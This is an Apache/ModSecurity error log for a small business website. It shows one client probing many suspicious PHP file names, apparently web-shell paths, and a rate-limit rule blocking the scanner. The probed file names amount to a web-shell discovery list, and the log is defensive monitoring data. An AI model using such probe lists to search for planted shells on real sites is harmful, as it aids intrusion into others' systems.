[Fri Apr 24 21:55:44.148800 2026] [:error] [pid 4177:tid 4202] [client 4.235.80.198:35477] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "aet2YH2asKnvdrSe0x451gAAAZE"]
[Fri Apr 24 21:55:45.594701 2026] [:error] [pid 4177:tid 4195] [client 4.235.80.198:59139] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "aet2YX2asKnvdrSe0x453QAAAYo"]
[Fri Apr 24 21:55:47.235201 2026] [:error] [pid 4177:tid 4202] [client 4.235.80.198:38035] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "aet2Y32asKnvdrSe0x454QAAAZE"]
[Fri Apr 24 21:55:48.350906 2026] [:error] [pid 17721:tid 17800] [client 4.235.80.198:1077] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "aet2ZOFXXkLeyDnfk_9L0wAAABM"]
[Fri Apr 24 21:55:49.981094 2026] [:error] [pid 17719:tid 17748] [client 4.235.80.198:62937] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "aet2ZcTZ9gzEyL1BkPq4JwAAAJU"]
[Fri Apr 24 21:55:51.610068 2026] [:error] [pid 17808:tid 17810] [client 4.235.80.198:19571] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "aet2Z-arbOEFI8qshvJOZAAAAEA"]
[Fri Apr 24 21:55:54.008829 2026] [:error] [pid 14531:tid 14554] [client 4.235.80.198:62505] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ah25.php"] [unique_id "aet2anfLU2gw-6KR-GbargAAAVU"]
[Fri Apr 24 21:55:55.865725 2026] [:error] [pid 4177:tid 4199] [client 4.235.80.198:52102] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aet2a32asKnvdrSe0x46BgAAAY4"]
[Fri Apr 24 21:55:56.929632 2026] [:error] [pid 14531:tid 14537] [client 4.235.80.198:20928] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aet2bHfLU2gw-6KR-GbasQAAAUQ"]
[Fri Apr 24 21:56:01.400474 2026] [:error] [pid 17808:tid 17812] [client 4.235.80.198:53691] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aet2cearbOEFI8qshvJOcgAAAEI"]
[Fri Apr 24 21:56:02.709466 2026] [:error] [pid 17808:tid 17821] [client 4.235.80.198:49936] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "aet2cuarbOEFI8qshvJOdwAAAEs"]
[Fri Apr 24 21:56:06.036628 2026] [:error] [pid 22114:tid 22123] [client 4.235.80.198:59222] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "aet2doAuWGz3WlMQjof4fgAAAQY"]
[Fri Apr 24 21:56:07.837625 2026] [:error] [pid 17719:tid 17748] [client 4.235.80.198:29459] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "aet2d8TZ9gzEyL1BkPq4RQAAAJU"]
[Fri Apr 24 21:56:10.206843 2026] [:error] [pid 4177:tid 4205] [client 4.235.80.198:54122] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "aet2en2asKnvdrSe0x46QwAAAZQ"]
[Fri Apr 24 21:56:13.560435 2026] [:error] [pid 4177:tid 4201] [client 4.235.80.198:51693] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/axe.php"] [unique_id "aet2fX2asKnvdrSe0x46VgAAAZA"]
[Fri Apr 24 21:56:14.909578 2026] [:error] [pid 17808:tid 17812] [client 4.235.80.198:56725] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index0.php"] [unique_id "aet2fuarbOEFI8qshvJOfgAAAEI"]
[Fri Apr 24 21:56:16.119063 2026] [:error] [pid 17720:tid 17765] [client 4.235.80.198:35500] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index0.php"] [unique_id "aet2gOhlUs6BS3Ng7_XBRgAAAMs"]
[Fri Apr 24 21:56:17.211347 2026] [:error] [pid 17720:tid 17758] [client 4.235.80.198:56748] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index0.php"] [unique_id "aet2gehlUs6BS3Ng7_XBTQAAAMQ"]
[Fri Apr 24 21:56:20.182198 2026] [:error] [pid 14531:tid 14551] [client 4.235.80.198:32118] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/index0.php"] [unique_id "aet2hHfLU2gw-6KR-GbaxAAAAVI"]
[Fri Apr 24 21:56:23.088390 2026] [:error] [pid 17808:tid 17815] [client 4.235.80.198:51685] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-01ul.php"] [unique_id "aet2h-arbOEFI8qshvJOiwAAAEU"]
[Fri Apr 24 21:56:24.491628 2026] [:error] [pid 14531:tid 14556] [client 4.235.80.198:51692] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-01ul.php"] [unique_id "aet2iHfLU2gw-6KR-GbazwAAAVc"]
[Fri Apr 24 21:56:26.908567 2026] [:error] [pid 4177:tid 4187] [client 4.235.80.198:59965] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-01ul.php"] [unique_id "aet2in2asKnvdrSe0x46aAAAAYI"]
[Fri Apr 24 21:56:28.310596 2026] [:error] [pid 4177:tid 4193] [client 4.235.80.198:39102] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-01ul.php"] [unique_id "aet2jH2asKnvdrSe0x46dgAAAYg"]
[Fri Apr 24 21:56:33.005807 2026] [:error] [pid 4177:tid 4204] [client 4.235.80.198:38622] File does not exist: /usr/local/apache/htdocs/suspended-page/e3.php
[Fri Apr 24 21:56:33.368854 2026] [:error] [pid 4177:tid 4201] [client 4.235.80.198:38622] File does not exist: /usr/local/apache/htdocs/suspended-page/fkohd.php
[Fri Apr 24 21:56:33.798256 2026] [:error] [pid 4177:tid 4190] [client 4.235.80.198:38622] File does not exist: /usr/local/apache/htdocs/suspended-page/ws78.php
[Fri Apr 24 21:56:34.141546 2026] [:error] [pid 4177:tid 4185] [client 4.235.80.198:38622] File does not exist: /usr/local/apache/htdocs/suspended-page/ws80.php
[Fri Apr 24 21:56:34.517873 2026] [:error] [pid 4177:tid 4193] [client 4.235.80.198:38622] File does not exist: /usr/local/apache/htdocs/suspended-page/zo.php
[Fri Apr 24 21:56:34.783766 2026] [:error] [pid 4177:tid 4204] [client 4.235.80.198:38622] File does not exist: /usr/local/apache/htdocs/suspended-page/xy.php
[Fri Apr 24 21:56:35.087064 2026] [:error] [pid 4177:tid 4199] [client 4.235.80.198:38622] File does not exist: /usr/local/apache/htdocs/suspended-page/masks.php
[Fri Apr 24 21:56:35.400463 2026] [:error] [pid 4177:tid 4201] [client 4.235.80.198:38622] File does not exist: /usr/local/apache/htdocs/suspended-page/man.php
[Fri Apr 24 21:56:35.673049 2026] [:error] [pid 4177:tid 4206] [client 4.235.80.198:38622] File does not exist: /usr/local/apache/htdocs/suspended-page/xfun.php
[Fri Apr 24 21:56:35.994376 2026] [:error] [pid 4177:tid 4186] [client 4.235.80.198:38622] File does not exist: /usr/local/apache/htdocs/suspended-page/xxx.php
[Fri Apr 24 21:56:36.312939 2026] [:error] [pid 4177:tid 4193] [client 4.235.80.198:38622] File does not exist: /usr/local/apache/htdocs/suspended-page/vv.php
[Fri Apr 24 21:56:36.628811 2026] [:error] [pid 4177:tid 4199] [client 4.235.80.198:38622] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpconf.php"] [unique_id "aet2lH2asKnvdrSe0x46pgAAAY4"]
[Fri Apr 24 21:56:39.191370 2026] [:error] [pid 4177:tid 4193] [client 4.235.80.198:60214] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpconf.php"] [unique_id "aet2l32asKnvdrSe0x46rwAAAYg"]
[Fri Apr 24 21:56:40.606203 2026] [:error] [pid 17719:tid 17737] [client 4.235.80.198:58967] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpconf.php"] [unique_id "aet2mMTZ9gzEyL1BkPq4fwAAAIo"]
[Fri Apr 24 21:56:41.569627 2026] [:error] [pid 17808:tid 17817] [client 4.235.80.198:38571] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpconf.php"] [unique_id "aet2mearbOEFI8qshvJOmgAAAEc"]
[Fri Apr 24 21:56:42.251671 2026] [:error] [pid 4177:tid 4191] [client 4.235.80.198:58948] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aet2mn2asKnvdrSe0x46tQAAAYY"]
[Fri Apr 24 21:56:45.075279 2026] [:error] [pid 17808:tid 17810] [client 4.235.80.198:59941] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aet2nearbOEFI8qshvJOrwAAAEA"]
[Fri Apr 24 21:56:47.604216 2026] [:error] [pid 4177:tid 4203] [client 4.235.80.198:39091] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aet2n32asKnvdrSe0x46ugAAAZI"]
[Fri Apr 24 21:56:48.623828 2026] [:error] [pid 14531:tid 14553] [client 4.235.80.198:60190] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aet2oHfLU2gw-6KR-Gba4AAAAVQ"]
[Fri Apr 24 21:56:50.576673 2026] [:error] [pid 17808:tid 17832] [client 4.235.80.198:41919] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-zx.php"] [unique_id "aet2ouarbOEFI8qshvJOzAAAAFY"]
[Fri Apr 24 21:56:52.333963 2026] [:error] [pid 4177:tid 4201] [client 4.235.80.198:55767] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-zx.php"] [unique_id "aet2pH2asKnvdrSe0x46zQAAAZA"]
[Fri Apr 24 21:56:54.553280 2026] [:error] [pid 4177:tid 4208] [client 4.235.80.198:38568] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-zx.php"] [unique_id "aet2pn2asKnvdrSe0x461wAAAZc"]
[Fri Apr 24 21:56:57.409389 2026] [:error] [pid 4177:tid 4199] [client 4.235.80.198:48282] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-zx.php"] [unique_id "aet2qX2asKnvdrSe0x465wAAAY4"]
[Fri Apr 24 21:56:58.209008 2026] [:error] [pid 4177:tid 4187] [client 4.235.80.198:58468] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aet2qn2asKnvdrSe0x467QAAAYI"]
[Fri Apr 24 21:56:59.100596 2026] [:error] [pid 4177:tid 4194] [client 4.235.80.198:22847] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aet2q32asKnvdrSe0x46-QAAAYk"]
[Fri Apr 24 21:57:00.216988 2026] [:error] [pid 17808:tid 17821] [client 4.235.80.198:57316] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aet2rOarbOEFI8qshvJO8AAAAEs"]
[Fri Apr 24 21:57:04.234947 2026] [:error] [pid 22114:tid 22139] [client 4.235.80.198:28399] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aet2sIAuWGz3WlMQjof4uQAAARY"]
[Fri Apr 24 21:57:05.288581 2026] [:error] [pid 17808:tid 17810] [client 4.235.80.198:24925] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "aet2searbOEFI8qshvJPCAAAAEA"]
[Fri Apr 24 21:57:08.303967 2026] [:error] [pid 14531:tid 14556] [client 4.235.80.198:24917] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "aet2tHfLU2gw-6KR-Gba7AAAAVc"]
[Fri Apr 24 21:57:10.271957 2026] [:error] [pid 17808:tid 17831] [client 4.235.80.198:38541] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "aet2tuarbOEFI8qshvJPHwAAAFU"]
[Fri Apr 24 21:57:11.785463 2026] [:error] [pid 17808:tid 17813] [client 4.235.80.198:57327] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "aet2t-arbOEFI8qshvJPIgAAAEM"]
[Fri Apr 24 21:57:19.764548 2026] [:error] [pid 17720:tid 17758] [client 4.235.80.198:26427] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iov.php"] [unique_id "aet2v-hlUs6BS3Ng7_XBzwAAAMQ"]
[Fri Apr 24 21:57:27.315079 2026] [:error] [pid 4177:tid 4187] [client 4.235.80.198:1131] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jodohghi.php"] [unique_id "aet2x32asKnvdrSe0x47eQAAAYI"]
[Fri Apr 24 21:57:29.245845 2026] [:error] [pid 17719:tid 17740] [client 4.235.80.198:56250] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jodohghi.php"] [unique_id "aet2ycTZ9gzEyL1BkPq4kAAAAI0"]
[Fri Apr 24 21:57:30.833565 2026] [:error] [pid 14531:tid 14535] [client 4.235.80.198:38106] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jodohghi.php"] [unique_id "aet2ynfLU2gw-6KR-Gba_gAAAUI"]
[Fri Apr 24 21:57:31.587553 2026] [:error] [pid 22114:tid 22139] [client 4.235.80.198:48286] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jodohghi.php"] [unique_id "aet2y4AuWGz3WlMQjof4wwAAARY"]
[Fri Apr 24 21:57:32.781897 2026] [:error] [pid 17808:tid 17820] [client 4.235.80.198:31583] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rendi59.php"] [unique_id "aet2zOarbOEFI8qshvJPTgAAAEo"]
[Fri Apr 24 21:57:34.394594 2026] [:error] [pid 4177:tid 4185] [client 4.235.80.198:56197] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rendi59.php"] [unique_id "aet2zn2asKnvdrSe0x47hQAAAYA"]
[Fri Apr 24 21:57:35.243478 2026] [:error] [pid 14531:tid 14553] [client 4.235.80.198:57644] [client 4.235.80.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rendi59.php"] [unique_id "aet2z3fLU2gw-6KR-GbbAwAAAVQ"]
[Fri Apr 24 21:57:40.302449 2026] [:error] [pid 14531:tid 14547] [client 4.235.80.198:31556] File does not exist: /usr/local/apache/htdocs/suspended-page/rendi59.php
[Fri Apr 24 21:57:40.569100 2026] [:error] [pid 14531:tid 14538] [client 4.235.80.198:31556] File does not exist: /usr/local/apache/htdocs/suspended-page/rivasqup.php
[Fri Apr 24 21:57:40.911375 2026] [:error] [pid 14531:tid 14550] [client 4.235.80.198:31556] File does not exist: /usr/local/apache/htdocs/suspended-page/mga.php
[Fri Apr 24 21:57:41.300582 2026] [:error] [pid 14531:tid 14535] [client 4.235.80.198:31556] File does not exist: /usr/local/apache/htdocs/suspended-page/dshtv.php
[Fri Apr 24 21:57:41.641120 2026] [:error] [pid 14531:tid 14540] [client 4.235.80.198:31556] File does not exist: /usr/local/apache/htdocs/suspended-page/sym403.php
